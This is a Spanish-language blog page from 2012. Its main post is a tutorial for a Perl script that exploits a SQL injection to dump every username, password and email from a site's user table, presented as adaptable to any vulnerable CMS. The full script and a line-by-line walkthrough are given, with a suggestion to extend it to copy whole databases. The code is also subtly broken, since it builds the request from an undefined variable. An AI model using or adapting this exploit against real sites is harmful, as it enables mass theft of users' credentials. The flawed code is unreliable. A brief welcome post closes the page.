martes 17 de enero de 2012

¡STOP! SOPA

Creando un exploit para SQLi

Hoy os voy a enseñar como hacer un exploit base en perl, que se
puede implementar a cualquier CMS o web vulnerable. El funcionamiento es simple, teniendo la inyección en SQL, recorrerá toda la tabla de usuarios y imprimirá las columnas de nombre de usuario y la contraseña.

Esto os ayudará a no tener que hacerlo manualmente, ya que si la Web tiene
unos 500 ó 1000 usuarios, no vas a copiar y pegar todos los usuarios a mano…

Antes de todo, para comprender 100% esta entrada, el lector tendrá que tener
alguna idea de SQL y de SQLi (SQL injection), y conocimientos mínimos de perl,
es decir, saber crear una variable, hacer un bucle y tener mas o menos claro como funciona el módulo LWP::UserAgent de perl.

Así se quedará el exploit:

------------------------------------------------------------------------------

#!/usr/bin/perl

use LWP::UserAgent;


print "Coded By ZyonX \n";

$num = 1;
$num1 = ",1";
$url = "http://victima.com/detail.php?id=";
$id="-201+union+all+select+1,2,3,4,5,concat(0x3a,0x3a,name,0x3a,pass,0x3a,mail,0x3a,0x3a),7,8,9,0,1+from+usuarios+limit+";
$com = "--";

while ($num <= 463) {
   
    $fuck = $url.$uid.$num.$num1.$com;
    $buscador = LWP::UserAgent->new() || die;
    $busqueda = $buscador->get($fuck);
   
        if ($busqueda->content =~ m/::(.*?)::/ms){
        print $num. ": (Name:Pass:Mail) $1";
        print "\n\n";
        }
    $num++;
}

exit (0);

------------------------------------------------------------------------------


En la 3º línea indicamos el módulo que vamos a utilizar, es ‘LWP::UserAgent’, que genera un entorno que simula ser un navegador web , por decirlo de alguna manera. El mecanismo de este módulo es muy sencillo de entender lo explicare más adelante.

Empecemos:

Creamos primeramente 3 variables ($url $id $com) las cuales:

$url: contiene la url víctima con el dork (news.php?id=).
$id: contiene la inyección SQL.
$com: contiene el comentario.

Una vez que ya tenemos las 3 variables creadas, y sabiendo el número de
usuarios que tiene la tabla ‘usuarios’ (esto es fácil de saber, con el ‘limit’
aumentamos los números hasta que nos de un error, mas o menos como en
Blind SQLi), creamos otras 2 variables más, que son las encargadas de moverse
por la tabla ‘usuarios’ ($num $num1).
En este caso el ‘limit’ si ponemos 1 nos sale el primer usuario de la tabla y
para ir avanzando empezamos por el 1,1 2,1 3,1 4,1… Se puede dar el caso
que sea del revés 1,1 1,2 1,3. Esto no es de gran importancia ya que te darás
cuenta y lo harás como el ‘limit’ sea. Por eso dejamos una variable $num1 fija con ",1" y la otra es la contador que va aumentando.

$num: contiene el contador que vamos a ir aumentándolo para poder parar el
bucle y es el número de usuarios que hay.
$num1: contiene el segundo número de ‘limit’ que es el encargado de
mostrarnos el primer elemento de las columnas ‘nombre’ y ‘pass’.

Este es el quid del exploit, el bucle.

Hacemos un bucle ‘while’ que pare cuando $num sea 463, (este ‘463′ es el
número de usuarios que hay en la tabla ‘usuarios’), mientras tanto sigue
haciendo lo que le digas.

La variable $fuck es la variable que contiene todo el link, que se une con
el ‘.’ y acaba con el comentario.

$buscador: Esta variable inicializa el módulo y hace la petición web.
$busqueda: Esta variable se encarga de con un get() indicar cual es la web ($fuck) que tiene que cargar. Y se almazena en $busqueda.

Entonces hacemos un condicional ‘if’ el cual como condición tiene, que si
en la variable $busqueda contiene algo entre :: y :: ('content' significa 'contenido' , '=~' significa, 'si contiene' y una expresión regular, ‘m/ /ms’, la encargada de hacer la búsqueda, todo lo que pongas entre esa expresión lo busca, en este caso, busca todo lo que encuentre entre :: y ::). Imprima en pantalla $num que es el número del usuario, (Nombre:Pass) es solo para que se entienda que imprime primero el nombre y : y la contraseña, y $1 contiene las partes de la cadena que coinciden con la busqueda de 'm/ /ms', entonces imprime el user y pass del usuario 1,2,3,4,...463.

Aumentamos en 1 la variable $num y así nos imprimirá todos los usuarios
de la tabla ‘usuarios’.

Y se acaba el programa.

Se puede adornar más, con un menú y opciones, por ejemplo, imprimir los usuarios en un archivo .txt o que te devuelva el contenido de todas las tablas de la web y haces una copia de toda la base de datos.


Bueno espero que me haya explicado con claridad, si tienen alguna duda,
queja o lo que sea manden un email a: infoderlife@gmail.com .

Un Saludo.

sábado 14 de enero de 2012

¡Bienvenidos!

Hola a todos, os doy la bienvenida al blog, dedicado a la seguridad informática.

Soy Zyonx y soy el dueño de este blog, estudiante de grado en informática y algo cachondo.

Nos veremos pronto. Un saludo y hasta la primera entrada que sera alrededor de finales de febrero, malditos exámenes...